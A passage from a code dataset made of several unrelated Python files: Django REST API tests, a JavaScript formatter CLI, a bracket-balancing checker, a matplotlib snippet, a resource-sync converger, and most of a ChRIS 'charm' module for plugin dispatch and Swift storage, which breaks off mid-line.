\"\n self.post1.cover = self.file1\n self.post1.text = \"YELLOWAMARILLO
AMARELLO
\"\n self.post1.save()\n self.post1.tags.add(self.tag1)\n self.post1.tags.add(self.tag2)\n self.post1.tags.add(self.tag3)\n self.post1.save()\n assert self.post1.id\n\n \"\"\" Createa Post without tags. \"\"\"\n self.post2 = Post()\n self.post2.slug = \"blue_dragon\"\n self.post2.title = \"BLUEAZUL
AZU
\"\n self.post2.cover = self.file2\n self.post2.text = \"GRAYGRIS
CINZA
\"\n self.post2.save()\n assert self.post2.id\n\n \"\"\" Create a Post with the same cover. \"\"\"\n self.post3 = Post()\n self.post3.slug = \"black_dragon\"\n self.post3.title = \"WHITEBLANCO
BRANCO
\"\n self.post3.cover = self.file1\n self.post3.text = \"NEGRONEGRO
NEGRO
\"\n self.post3.save()\n self.post3.tags.add(self.tag1)\n self.post3.tags.add(self.tag2)\n self.post3.tags.add(self.tag3)\n self.post3.save()\n assert self.post3.id\n\n \"\"\" Add comments to a Post as a Visitor. \"\"\"\n self.comment1 = Comment()\n self.comment1.text = \"Lorem Ipsum\"\n self.comment1.post = self.post3\n self.comment1.visitor = self.owner\n self.comment1.save()\n assert self.comment1.id\n\n \"\"\" Add comments to a Post as Admin. \"\"\"\n self.comment2 = Comment()\n self.comment2.text = \"Lorem Ipsum\"\n self.comment2.post = self.post3\n self.comment2.visitor = self.admin\n self.comment2.save()\n assert self.comment2.id\n\n def loginAs(self, user):\n \"\"\" Login as user. \"\"\"\n token, created = Token.objects.get_or_create(user=user)\n self.client.credentials(HTTP_AUTHORIZATION='Token ' + token.key)\n\n def test_GET(self):\n \"\"\" Test GET request is not implemented. \"\"\"\n if not self.url:\n return\n response = self.client.get(self.url, {}, format='json')\n self.assertIn(response.status_code, [status.HTTP_405_METHOD_NOT_ALLOWED,\n status.HTTP_401_UNAUTHORIZED])\n\n def test_POST(self):\n \"\"\" Test POST request is not implemented. \"\"\"\n if not self.url:\n return\n response = self.client.post(self.url, {}, format='json')\n self.assertIn(response.status_code, [status.HTTP_405_METHOD_NOT_ALLOWED,\n status.HTTP_401_UNAUTHORIZED])\n\n def test_PUT(self):\n \"\"\" Test PUT request is not implemented. \"\"\"\n if not self.url:\n return\n response = self.client.put(self.url, {}, format='json')\n self.assertIn(response.status_code, [status.HTTP_405_METHOD_NOT_ALLOWED,\n status.HTTP_401_UNAUTHORIZED])\n\n def test_PATCH(self):\n \"\"\" Test PATCH request is not implemented. \"\"\"\n if not self.url:\n return\n response = self.client.patch(self.url, {}, format='json')\n self.assertIn(response.status_code, [status.HTTP_405_METHOD_NOT_ALLOWED,\n status.HTTP_401_UNAUTHORIZED])\n\n def test_DELETE(self):\n \"\"\" Test DELETE request is not implemented. \"\"\"\n if not self.url:\n return\n response = self.client.delete(self.url, {}, format='json')\n self.assertIn(response.status_code, [status.HTTP_405_METHOD_NOT_ALLOWED,\n status.HTTP_401_UNAUTHORIZED])\n\n def test_OPTIONS(self):\n \"\"\" Test OPTIONS request is not implemented. \"\"\"\n if not self.url:\n return\n response = self.client.options(self.url, {}, format='json')\n self.assertIn(response.status_code, [status.HTTP_200_OK,\n status.HTTP_401_UNAUTHORIZED])\n\n def test_HEAD(self):\n \"\"\" Test HEAD request is not implemented. \"\"\"\n if not self.url:\n return\n response = self.client.head(self.url, {}, format='json')\n self.assertIn(response.status_code, [status.HTTP_405_METHOD_NOT_ALLOWED,\n status.HTTP_200_OK,\n status.HTTP_401_UNAUTHORIZED])\n","sub_path":"pyeco/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":8441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"618131366","text":"import sys\r\nfrom filereader import FileReader\r\nfrom Lexer.lexer import Lexer\r\nfrom Formatter.formatter import Formatter\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n args = sys.argv[1:]\r\n\r\n if len(args) >= 1 and len(args) <= 3:\r\n command = args[0]\r\n if command == '-h':\r\n print('\\n-f [path to template] [path to file] - enter path to template to be used in formatting(e.g. resources/templates-settings.json\") and path to file to be formatted')\r\n print('-v [path to file] - enter path to file to be analyzed')\r\n elif command == '-f':\r\n templateName = args[1]\r\n path = args[2]\r\n if FileReader.isFile(path):\r\n sourceCode = FileReader.readFile(path)\r\n lexer = Lexer(sourceCode)\r\n lexer.execute()\r\n formatter = Formatter(\"Formatting\", lexer.getTokens(), path, templateName)\r\n result = formatter.execute()\r\n resultFile = FileReader.writeToFile(path, result)\r\n print('formatted file ' + resultFile)\r\n else:\r\n jsFiles = FileReader.getAllJsFiles(path)\r\n for file in jsFiles:\r\n sourceCode = FileReader.readFile(file)\r\n lexer = Lexer(sourceCode)\r\n lexer.execute()\r\n formatter = Formatter(\"Formatting\", lexer.getTokens(), file, templateName)\r\n result = formatter.execute()\r\n resultFile = FileReader.writeToFile(file, result)\r\n print('formatted file ' + resultFile)\r\n\r\n elif command == '-v':\r\n path = args[1]\r\n if FileReader.isFile(path):\r\n sourceCode = FileReader.readFile(path)\r\n lexer = Lexer(sourceCode)\r\n lexer.execute()\r\n formatter = Formatter(\"Error search\", lexer.getTokens(), path)\r\n formatter.execute()\r\n print('Errors printed to file resources/logfile.txt')\r\n else:\r\n jsFiles = FileReader.getAllJsFiles(path)\r\n for file in jsFiles:\r\n sourceCode = FileReader.readFile(file)\r\n lexer = Lexer(sourceCode)\r\n lexer.execute()\r\n formatter = Formatter(\"Error search\", lexer.getTokens(), file)\r\n formatter.execute()\r\n print('Errors printed to file resources/logfile.txt')\r\n else:\r\n print('unrecognized command')\r\n else:\r\n print('unrecognized command')","sub_path":"Lab1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"23469857","text":"'''\n\nGiven an expression string exp , write a program to examine whether the pairs and the orders of “{“,”}”,”(“,”)”,”[“,”]” are correct in exp.\n\nExample:\n\nInput: exp = “[()]{}{[()()]()}”\nOutput: Balanced\n\nInput: exp = “[(])”\nOutput: Not Balanced\n\n'''\n\ndef balanced(input):\n stack = []\n\n for curr in range(len(input)):\n if input[curr] == '{' or input[curr] == '[' or input[curr] == '(':\n stack.append(input[curr])\n elif input[curr] == ']' and (len(stack) == 0 or stack.pop() != '['):\n return False\n elif input[curr] == '}' and (len(stack) == 0 or stack.pop() != '{'):\n return False\n elif input[curr] == ')' and (len(stack) == 0 or stack.pop() != '('):\n return False \n\n return len(stack) == 0\n\nprint(balanced('[()]{}{[()()]()}'))\nprint(balanced('[(])'))\n\n\n\n\n ","sub_path":"python/balanced_paranthesis.py","file_name":"balanced_paranthesis.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"243226049","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 11 15:33:01 2018\n\n@author: xsxsz\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nplt.figure(figsize=(6,5))\nx=np.array([[0,0],[3,4],[5,6]])\ny=np.array([[5,6],[3,2],[5,0]])\nfor i in range(len(x)):\n print(x[i])\n print('-------------')\n print(y[i])\n print('-------------')\n plt.plot(x[i],y[i])\n ","sub_path":"matplotlib/matplotlib_44.py","file_name":"matplotlib_44.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"272421295","text":"from .framework import datastore\nfrom .framework import process\n\nfrom . import resource\nfrom . import template\n\n\nsync_points = datastore.Datastore('SyncPoint',\n 'key', 'predecessors', 'satisfied')\n\n\nclass Converger(process.MessageProcessor):\n def __init__(self):\n super(Converger, self).__init__('converger')\n\n @process.asynchronous\n def check_resource(self, resource_key, template_key):\n rsrc = resource.Resource.load(resource_key)\n\n if rsrc.stack.tmpl.key != template_key:\n # Out of date\n return\n\n if rsrc.physical_resource_id is None:\n rsrc.create()\n\n deps = rsrc.stack.dependencies()\n graph = deps.graph()\n\n for req in deps.required_by(resource_key):\n self.propagate_check_resource(req, template_key,\n set(graph[req]), rsrc.key)\n\n def propagate_check_resource(self, next_resource_key, template_key,\n predecessors, sender):\n if len(predecessors) == 1:\n # Cut to the chase\n self.check_resource(next_resource_key, template_key)\n return\n\n key = '%d-%d' % (next_resource_key, template_key)\n try:\n sync_point = sync_points.read(key)\n except KeyError:\n sync_points.create_with_key(key, predecessors=predecessors,\n satisfied=[sender])\n else:\n satisfied = sync_point.satisfied + [sender]\n predecessors |= sync_point.predecessors\n if set(satisfied).issuperset(predecessors):\n self.check_resource(next_resource_key, template_key)\n sync_points.delete(key)\n else:\n # Note: update must be atomic\n sync_points.update(key, predecessors=predecessors,\n satisfied=satisfied)\n","sub_path":"converge/converger.py","file_name":"converger.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"280539073","text":"\"\"\"\n\ncharm - ChRIS / pfcon interface.\n\n\"\"\"\n\nimport os\nfrom os.path import expanduser\nimport pprint\nimport json\nimport pudb\nimport pfurl\nimport pfmisc\n\nfrom urllib.parse import parse_qs\nfrom django.utils import timezone\nfrom django.conf import settings\n\nfrom pfmisc._colors import Colors\nfrom pfmisc.message import Message\n\nimport swiftclient\nimport time\n\nclass Charm():\n\n def log(self, *args):\n \"\"\"\n get/set the log object.\n\n Caller can further manipulate the log object with object-specific\n calls.\n \"\"\"\n if len(args):\n self._log = args[0]\n else:\n return self._log\n\n def name(self, *args):\n \"\"\"\n get/set the descriptive name text of this object.\n \"\"\"\n if len(args):\n self.__name = args[0]\n else:\n return self.__name\n\n def verbosity(self, *args):\n \"\"\"\n get/set the descriptive name text of this object.\n \"\"\"\n if len(args):\n self.dp.verbosity = args[0]\n else:\n return self.dp.verbosity\n\n def col2_print(self, str_left, str_right, level = 1):\n self.dp.qprint(Colors.WHITE +\n ('%*s' % (self.LC, str_left)), \n end = '',\n level = level,\n syslog = False)\n self.dp.qprint(Colors.LIGHT_BLUE +\n ('%*s' % (self.RC, str_right)) + Colors.NO_COLOUR,\n level = level,\n syslog = False\n )\n\n def __init__(self, **kwargs):\n # threading.Thread.__init__(self)\n\n self._log = Message()\n self._log._b_syslog = True\n self.__name__ = \"Charm\"\n self.b_useDebug = settings.CHRIS_DEBUG['useDebug']\n\n str_debugDir = '%s/tmp' % os.environ['HOME']\n if not os.path.exists(str_debugDir):\n os.makedirs(str_debugDir)\n self.str_debugFile = '%s/debug-charm.log' % str_debugDir\n\n if len(settings.CHRIS_DEBUG['debugFile']):\n self.str_debugFile = settings.CHRIS_DEBUG['debugFile']\n\n self.str_http = \"\"\n self.str_ip = \"\"\n self.str_port = \"\"\n self.str_URL = \"\"\n self.str_verb = \"\"\n self.str_msg = \"\"\n self.d_msg = {}\n self.str_protocol = \"http\"\n\n self.dp = pfmisc.debug( \n verbosity = 1,\n within = self.__name__ \n )\n\n self.pp = pprint.PrettyPrinter(indent=4)\n self.b_man = False\n self.str_man = ''\n self.b_quiet = settings.CHRIS_DEBUG['quiet']\n self.b_raw = False\n self.auth = ''\n self.str_jsonwrapper = ''\n\n self.str_IOPhost = ''\n\n self.str_cmd = ''\n self.str_inputdir = ''\n self.str_outputdir = ''\n self.d_args = {}\n self.l_appArgs = {}\n self.c_pluginInst = {'contents': 'void'}\n self.app = None\n\n self.LC = 40\n self.RC = 40\n\n # A job ID prefix string. Necessary since some schedulers require\n # a minimum job ID string length\n self.str_jidPrefix = 'chris-jid-'\n\n for key, val in kwargs.items():\n if key == 'app_args': self.l_appArgs = val\n if key == 'd_args': self.d_args = val\n if key == 'plugin_inst': self.c_pluginInst = val\n if key == 'app': self.app = val\n if key == 'inputdir': self.str_inputdir = val\n if key == 'outputdir': self.str_outputdir = val\n if key == 'useDebug': self.b_useDebug = val\n if key == 'debugFile': self.str_debugFile = val\n if key == 'quiet': self.b_quiet = val\n if key == 'IOPhost': self.str_IOPhost = val\n\n if self.b_useDebug:\n self.debug = Message(logTo = self.str_debugFile)\n self.debug._b_syslog = True\n self.debug._b_flushNewLine = True\n\n if self.b_quiet:\n self.dp.verbosity = -10\n\n # This for the case when Charm is instantiated w/o a plugin instance, eg\n # as a dispatcher to simply send a pfcon instance a message.\n try:\n self.d_pluginInst = vars(self.c_pluginInst)\n except:\n self.d_pluginInst = {}\n\n # pudb.set_trace()\n\n if not self.b_quiet:\n str_desc = Colors.CYAN + \"\"\"\n +---------------------+\n | Welcome to charm! |\n +---------------------+\n \"\"\" + Colors.LIGHT_GREEN + \"\"\"\n\n 'charm' is the interface class/code between ChRIS and a remote \n REST-type server, typically 'pfcon'.\n\n This module is the only contact boundary between ChRIS and \n external/remote services.\n\n Debugging output is currently sent to \"\"\" + Colors.YELLOW\n if self.b_useDebug:\n str_desc += \"'\" + self.str_debugFile +\"'\"\n else:\n str_desc += \"*this* console\"\n str_desc += Colors.NO_COLOUR\n\n self.dp.qprint(str_desc)\n\n self.dp.qprint('d_args = %s' % self.pp.pformat(self.d_args).strip())\n self.dp.qprint('app_args = %s' % self.l_appArgs)\n self.dp.qprint('d_pluginInst = %s' % self.pp.pformat(self.d_pluginInst).strip())\n self.dp.qprint('app = %s' % self.app)\n self.dp.qprint('inputdir = %s' % self.str_inputdir)\n self.dp.qprint('outputdir = %s' % self.str_outputdir)\n\n def app_manage(self, **kwargs):\n \"\"\"\n Main \"manager\"/\"dispatcher\" for running plugins.\n \"\"\"\n str_method = 'internal'\n str_IOPhost = 'localhost'\n b_launched = False\n\n for k,v in kwargs.items():\n if k == 'method': str_method = v\n if k == 'IOPhost': str_IOPhost = v\n\n if str_method == 'internal':\n self.app_launchInternal()\n b_launched = True\n if str_method == 'crunner':\n self.app_crunner()\n b_launched = True\n if str_method == 'pfcon':\n self.app_service( service = str_method,\n IOPhost = str_IOPhost)\n\n if b_launched: self.c_pluginInst.register_output_files()\n\n def app_launchInternal(self):\n self.app.launch(self.l_appArgs)\n self.c_pluginInst.register_output_files()\n\n # def app_crunnerWrap(self):\n # \"\"\"\n # Run the \"app\" in a crunner instance.\n\n # :param self:\n # :return:\n # \"\"\"\n\n # str_cmdLineArgs = ''.join('{} {}'.format(key, val) for key,val in sorted(self.d_args.items()))\n # self.dp.qprint('cmdLindArgs = %s' % str_cmdLineArgs)\n\n # str_allCmdLineArgs = ' '.join(self.l_appArgs)\n # str_exec = os.path.join(self.c_pluginInst.plugin.selfpath, self.c_pluginInst.plugin.selfexec)\n\n # if len(self.c_pluginInst.plugin.execshell):\n # str_exec = '%s %s' % (self.c_pluginInst.plugin.execshell, str_exec)\n\n # self.str_cmd = '%s %s' % (str_exec, str_allCmdLineArgs)\n # self.dp.qprint('cmd = %s' % self.str_cmd)\n\n # self.app_crunner(self.str_cmd, loopctl = True)\n # self.c_pluginInst.register_output_files()\n\n # def app_crunner(self, str_cmd, **kwargs):\n # \"\"\"\n # Run the \"app\" in a crunner instance.\n\n # :param self:\n # :return:\n # \"\"\"\n\n # # The loopctl controls whether or not to block on the\n # # crunner shell job\n # b_loopctl = False\n\n # for k,v in kwargs.items():\n # if k == 'loopctl': b_loopctl = v\n\n # verbosity = 1\n # shell = pfurl.crunner(\n # verbosity = verbosity,\n # debug = True,\n # debugTo = '%s/tmp/debug-crunner.log' % os.environ['HOME'])\n\n # shell.b_splitCompound = True\n # shell.b_showStdOut = True\n # shell.b_showStdErr = True\n # shell.b_echoCmd = False\n\n # shell(str_cmd)\n # if b_loopctl:\n # shell.jobs_loopctl()\n\n def app_service_shutdown(self, **kwargs):\n \"\"\"\n This method sends a shutdown command over HTTP to a server process.\n\n :return:\n \"\"\"\n\n # pudb.set_trace()\n\n str_service = 'pfcon'\n\n for k,v in kwargs.items():\n if k == 'service': str_service = v\n\n d_msg = {\n \"action\": \"quit\",\n \"meta\": {\n \"when\": \"now\",\n \"saveDB\": True\n }\n }\n d_response = self.app_service_call(msg = d_msg, service = str_service)\n\n def app_service_call(self, *args, **kwargs):\n \"\"\"\n This method sends the JSON 'msg' argument to the remote service.\n\n :param args:\n :param kwargs:\n :return: True | False\n \"\"\"\n\n d_msg = {}\n str_service = 'pfcon'\n b_httpResponseBodyParse = True\n\n for k,v in kwargs.items():\n if k == 'msg': d_msg = v\n if k == 'service': str_service = v\n\n # pudb.set_trace()\n\n str_setting = 'settings.%s' % str_service.upper()\n str_http = '%s:%s' % (eval(str_setting)['host'], \n eval(str_setting)['port'])\n if str_service == 'pman': b_httpResponseBodyParse = False\n\n str_debugFile = '%s/tmp/debug-pfurl.log' % os.environ['HOME']\n if self.str_debugFile == '/dev/null':\n str_debugFile = self.str_debugFile\n\n serviceCall = pfurl.Pfurl(\n msg = json.dumps(d_msg),\n http = str_http,\n verb = 'POST',\n # contentType = 'application/json',\n b_raw = True,\n b_quiet = self.b_quiet,\n b_httpResponseBodyParse = b_httpResponseBodyParse,\n jsonwrapper = 'payload',\n debugFile = str_debugFile,\n useDebug = self.b_useDebug\n )\n\n # speak to the service...\n d_response = json.loads(serviceCall())\n if not b_httpResponseBodyParse:\n d_response = parse_qs(d_response)\n return d_response\n\n def app_service_checkIfAvailable(self, *args, **kwargs):\n \"\"\"\n This method checks if the remote service is available by asking\n it for system status.\n\n It is currently deprecated.\n\n :param args:\n :param kwargs:\n :return: True | False\n \"\"\"\n return True\n\n\n def swiftstorage_connect(self, *args, **kwargs):\n \"\"\"\n Connect to swift storage and return the connection object,\n as well an optional \"prepend\" string to fully qualify \n object location in swift storage.\n \"\"\"\n\n b_status = True\n b_prependBucketPath = False\n\n for k,v in kwargs.items():\n if k == 'prependBucketPath': b_prependBucketPath = v\n\n d_ret = {\n 'status': b_status,\n 'conn': None,\n 'prependBucketPath': \"\"\n }\n\n # initiate a swift service connection, based on internal\n # settings already available in the django variable space.\n try:\n d_ret['conn'] = swiftclient.Connection(\n user = settings.SWIFT_USERNAME,\n key = settings.SWIFT_KEY,\n authurl = settings.SWIFT_AUTH_URL,\n )\n except:\n d_ret['status'] = False\n\n if b_prependBucketPath:\n d_ret['prependBucketPath'] = self.c_pluginInst.owner.username + '/uploads'\n\n return d_ret\n\n def swiftstorage_ls(self, *args, **kwargs):\n \"\"\"\n Return a list of objects in the swiftstorage\n \"\"\"\n l_ls = [] # The listing of names to return\n ld_obj = {} # List of dictionary objects in swift\n str_path = '/'\n str_fullPath = ''\n b_prependBucketPath = False\n b_status = False\n\n for k,v in kwargs.items():\n if k == 'path': str_path = v\n if k == 'prependBucketPath': b_prependBucketPath = v\n\n # Remove any leading noise on the str_path, specifically\n # any leading '.' characters.\n # This is probably not very robust!\n while str_path[:1] == '.': str_path = str_path[1:]\n\n d_conn = self.swiftstorage_connect(**kwargs)\n if d_conn['status']:\n conn = d_conn['conn']\n if b_prependBucketPath:\n str_fullPath = '%s%s' % (d_conn['prependBucketPath'], str_path)\n else:\n str_fullPath = str_path\n\n # get the full list of objects in Swift storage with given prefix\n ld_obj = conn.get_container( settings.SWIFT_CONTAINER_NAME, \n prefix = str_fullPath,\n full_listing = True)[1] \n\n for d_obj in ld_obj:\n l_ls.append(d_obj['name'])\n b_status = True\n \n return {\n 'status': b_status,\n 'objectDict': ld_obj,\n 'lsList': l_ls,\n 'fullPath': str_fullPath\n }\n\n def swiftstorage_objExists(self, *args, **kwargs):\n \"\"\"\n Return True/False if passed object exists in swift storage\n \"\"\" \n b_exists = False\n str_obj = ''\n\n for k,v in kwargs.items():\n if k == 'obj': str_obj = v\n if k == 'prependBucketPath': b_prependBucketPath = v\n\n kwargs['path'] = str_obj\n d_swift_ls = self.swiftstorage_ls(*args, **kwargs)\n str_obj = d_swift_ls['fullPath']\n\n if d_swift_ls['status']:\n for obj in d_swift_ls['lsList']:\n if str_obj in obj:\n b_exists = True\n\n return {\n 'status': b_exists,\n 'objPath': str_obj\n }\n\n def swiftstorage_objPut(self, *args, **kwargs):\n \"\"\"\n Put an object (or list of objects) into swift storage.\n\n By default, to location in storage will map 1:1 to the\n location name string in the local filesytem. This storage\n location can be remapped by using the '' and\n '' kwargs. For example, assume\n a list of local locations starting with:\n\n /home/user/project/data/ ...\n\n and we want to pack everything in the 'data' dir to \n object storage, at location '/storage'. In this case, the\n pattern of kwargs specifying this would be:\n\n fileList = ['/home/user/project/data/file1',\n '/home/user/project/data/dir1/file_d1',\n '/home/user/project/data/dir2/file_d2'],\n toLocation = '/storage',\n mapLocationOver = '/home/user/project/data'\n\n will replace, for each file in , the with\n , resulting in a new list\n\n '/storage/file1', \n '/storage/dir1/file_d1',\n '/storage/dir2/file_d2'\n\n Note that the is subject to !\n\n \"\"\"\n b_status = True\n l_localfile = [] # Name on the local file system\n l_objectfile = [] # Name in the object storage\n str_swiftLocation = ''\n str_mapLocationOver = ''\n str_localfilename = ''\n str_storagefilename = ''\n str_prependBucketPath = ''\n d_ret = {\n 'status': b_status,\n 'localFileList': [],\n 'objectFileList': []\n }\n\n d_conn = self.swiftstorage_connect(*args, **kwargs)\n if d_conn['status']:\n str_prependBucketPath = d_conn['prependBucketPath']\n\n str_swiftLocation = str_prependBucketPath\n\n for k,v in kwargs.items():\n if k == 'file': l_localfile.append(v)\n if k == 'fileList': l_localfile = v\n if k == 'toLocation': str_swiftLocation = '%s%s' % (str_prependBucketPath, v)\n if k == 'mapLocationOver': str_mapLocationOver = v\n\n if len(str_mapLocationOver):\n # replace the local file path with object store path\n l_objectfile = [w.replace(str_mapLocationOver, str_swiftLocation) \\\n for w in l_localfile]\n else:\n # Prepend the swiftlocation to each element in the localfile list:\n l_objectfile = [str_swiftLocation + '{0}'.format(i) for i in l_localfile]\n\n if d_conn['status']:\n for str_localfilename, str_storagefilename in zip(l_localfile, l_objectfile): \n try:\n d_ret['status'] = True and d_ret['status']\n with open(str_localfilename, 'r') as fp:\n d_conn['conn'].put_object(\n settings.SWIFT_CONTAINER_NAME,\n str_storagefilename,\n contents=fp.read()\n )\n except:\n d_ret['status'] = False\n d_ret['localFileList'].append(str_localfilename)\n d_ret['objectFileList'].append(str_storagefilename)\n return d_ret\n\n def app_service_fsplugin_squashFileHandle(self, *args, **kwargs):\n \"\"\"\n This method is used under certain conditions:\n\n * An FS plugin has specified an \"illegal\" directory in \n the object store:\n * / root of store\n * ./ relative \"current\" dir\n\n * An FS plugin has specified a non-existent directory/file\n in the object store.\n\n In each case, this method creates an appropriately named \"dummy\"\n file in the object store and specifies its parent directory as\n the directory to pull from the store. \n\n The effect is that if an FS plugin specifies one of these \"illegal\"\n conditions, a file is created in the FS plugin output that contains\n this somewhat descriptive filename.\n\n This method appends the correct username for swift purposes to\n the 'inputdir'. \n\n **kwargs:\n squashFilePath\n squashFileMessage\n \"\"\"\n\n b_status = False\n squashdir = os.path.join(expanduser(\"~\"), 'data/squash')\n str_squashFilePath = os.path.join(squashdir, 'unspecifiedSquashFile.txt')\n str_squashFileMessage = 'Unspecified message.'\n d_ret = {\n 'status': b_status,\n 'b_squashFileFound': False,\n 'inputdir': '',\n 'd_objPut': {},\n 'd_objExists': {}\n }\n\n for k,v in kwargs.items():\n if k == 'squashFilePath': str_squashFilePath = v\n if k == 'squashFileMessage': str_squashFileMessage = v\n\n str_squashParentPath, str_squashFile = os.path.split(str_squashFilePath)\n\n # Check if squash file exists in object storage\n d_ret['d_objExists'] = self.swiftstorage_objExists(\n obj = str_squashFilePath,\n prependBucketPath = True\n )\n d_ret['b_squashFileFound'] = d_ret['d_objExists']['status']\n\n # If not, create and push...\n if not d_ret['b_squashFileFound']:\n # Create a squash file...\n try:\n if not os.path.exists(str_squashParentPath):\n os.makedirs(str_squashParentPath)\n os.chdir(str_squashParentPath)\n # Create a squashfile with possibly descriptive message\n with open(str_squashFile, 'w') as f:\n print(str_squashFileMessage, file=f)\n # and push to swift...\n d_ret['d_objPut'] = self.swiftstorage_objPut(\n file = str_squashFilePath,\n prependBucketPath = True\n )\n str_swiftLocation = d_ret['d_objPut']['objectFileList'][0]\n d_ret['inputdir'] = os.path.dirname(str_swiftLocation)\n d_ret['status'] = True\n except:\n d_ret['status'] = False\n else:\n # Here the file was found, so 'objPath' is a file spec.\n # We need to prune this into a path spec...\n d_ret['status'] = True\n d_ret['inputdir'] = os.path.dirname(\n d_ret['d_objExists']['objPath']\n )\n return d_ret\n\n def app_service_fsplugin_inputdirManage(self, *args, **kwargs):\n \"\"\"\n This method is responsible for managing the 'inputdir' in the\n case of FS plugins.\n\n Typically, an FS plugin does not have an inputdir spec, since this\n is a requirement for DS plugins. Nonetheless, the underlying management\n system (pfcon/pfurl) does require some non-zero inputdir spec in order\n to operate correctly.\n\n However, this operational requirement allows us a convenient \n mechanism to inject data into an FS processing stream by storing\n data in swift and accessing this as a \"pseudo\" inputdir for FS\n plugins.\n\n For example, if an FS plugin has no arguments of type 'path', then\n we create a \"dummy\" inputdir with a small dummy text file in swift\n storage. This is then transmitted as an 'inputdir' to the compute\n environment, and can be completely ignored by the plugin.\n\n Importantly, one major exception to the normal FS processing scheme\n exists: an FS plugin that collects data from object storage. This\n storage location is not an 'inputdir' in the traditional sense, and is \n thus specified in the FS plugin argument list as argument of type \n 'path' (i.e. there is no positional argument for inputdir as in DS\n plugins. Thus, if a type 'path' argument is specified, this 'path'\n is assumed to denote a location in object storage.\n\n In the case then that a 'path' type argument is specified, there \n are certain important caveats:\n\n 1. Only one 'path' type argument is assumed / fully supported.\n 2. Open ended (or relative) path arguments are not supported\n (otherwise an entire object storage tree could be exposed):\n * directory specifcations of '/' are not supported and\n are squashed;\n * directory specification of './' are not supported and\n are squashed;\n 3. If an invalid object location is specified, this is squashed.\n\n (squashed means that the system will still execute, but the returned\n output directory from the FS plugin will contain only a single file\n with the text 'squash' in its filename and the file will contain\n some descriptive message)\n\n \"\"\"\n\n b_status = False\n str_inputdir = ''\n d_ret = {\n 'status': b_status,\n 'd_handle': {}\n }\n\n for k,v in kwargs.items():\n if k == 'inputdir': str_inputdir = v\n\n # First, check and return on illegal dir specs\n homedir = expanduser(\"~\")\n if str_inputdir == '/' or str_inputdir == './':\n if str_inputdir == '/':\n str_squashFile = os.path.join(homedir, 'data/squashRoot/squashRoot.txt')\n str_squashMsg = 'Illegal dir spec, \"/\", passed to plugin.'\n if str_inputdir == './':\n str_squashFile = os.path.join(homedir, 'data/squashHereDir/squashHereDir.txt')\n str_squashMsg = 'Illegal dir spec, \"./\", passed to plugin.'\n d_ret['d_handle'] = self.app_service_fsplugin_squashFileHandle(\n squashFilePath = str_squashFile,\n squashFileMessage = str_squashMsg\n )\n d_ret['status'] = True\n return d_ret\n\n # Check if dir spec exists in swift\n d_objExists = self.swiftstorage_objExists(\n obj = str_inputdir,\n prependBucketPath = True\n )\n b_pathValid = d_objExists['status']\n if not b_pathValid:\n str_squashFile = os.path.join(homedir, 'data/squashInvalidDir/squashInvalidDir.txt')\n str_squashMsg = 'Path specified in object storage does not exist!'\n d_ret['d_handle'] = self.app_service_fsplugin_squashFileHandle(\n squashFilePath = str_squashFile,\n squashFileMessage = str_squashMsg\n )\n d_ret['status'] = True\n return d_ret\n else:\n d_ret['status'] = True\n d_ret['d_handle']['inputdir'] = d_objExists['objPath']\n return d_ret\n\n def app_service_fsplugin_setup(self, *args, **kwargs):\n \"\"\"\n Some fsplugins, esp those that might interact with the local file\n filesystem can be \"massaged\" to conform to the existing fileIO \n transmission pattern.\n\n This method edits the cmdLine for fsplugin input to /share/incoming\n and sets any --dir to data location in local object storage.\n \"\"\"\n\n # pudb.set_trace()\n l_pathArgs = []\n\n # Loop over the plugin parameters and search for any that have type\n # 'path'. Ideally speaking there should be only one, however for now\n # we won't assume that -- we'll lay the groundwork for more than 'path'\n # type parameter, but will process things as if there was only one...\n for d_param in self.c_pluginInst.plugin.parameters.all():\n if d_param.type == 'path':\n l_pathArgs.append(d_param.name)\n\n # The 'path' type parameter refers to some location (ideally in the \n # swift storage). We need to replace this location referring to some\n # 'local' path with a hard code '/share/incoming' since that is where\n # the data will be located in the remote compute env.\n #\n # We then need to pass this local input parameter as the inputdir to\n # pfcon, with appropriate pre-massaging for bucket prepending.\n if len(l_pathArgs):\n for argName in l_pathArgs:\n self.str_inputdir = self.d_args[argName]\n i = 0\n for v in self.l_appArgs:\n if v == self.str_inputdir:\n self.l_appArgs[i] = '/share/incoming'\n i+=1\n str_allCmdLineArgs = ' '.join(self.l_appArgs)\n str_exec = os.path.join(self.c_pluginInst.plugin.selfpath, self.c_pluginInst.plugin.selfexec)\n self.str_cmd = '%s %s' % (str_exec, str_allCmdLineArgs) \n self.dp.qprint('cmd = %s' % self.str_cmd)\n\n # Manage args with type 'path' for FS type plugins\n # At the point the 'self.str_inputdir' now points to the location\n # of the 'path' type variable in the arg list of the FS app.\n # We will pass this new location on to be managed via kwargs\n kwargs['inputdir'] = self.str_inputdir\n d_manage = self.app_service_fsplugin_inputdirManage(*args, **kwargs)\n\n return {\n 'status': True,\n 'cmd': self.str_cmd,\n 'd_manage': d_manage\n }\n\n def app_service(self, *args, **kwargs):\n \"\"\"\n Run the \"app\" via a call to a service provider.\n \"\"\"\n\n str_service = 'pfcon'\n str_IOPhost = 'localhost'\n\n for k,v in kwargs.items():\n if k == 'service': str_service = v\n if k == 'IOPhost': str_IOPhost = v\n\n # pudb.set_trace()\n \n # First, check if the remote service is available... \n self.app_service_checkIfAvailable(**kwargs)\n\n self.dp.qprint('d_args = %s' % self.d_args)\n str_cmdLineArgs = ''.join('{} {} '.format(key, val) for key,val in sorted(self.d_args.items()))\n self.dp.qprint('cmdLineArg = %s' % str_cmdLineArgs)\n\n self.dp.qprint('l_appArgs = %s' % self.l_appArgs)\n self.l_appArgs = [str(s) for s in 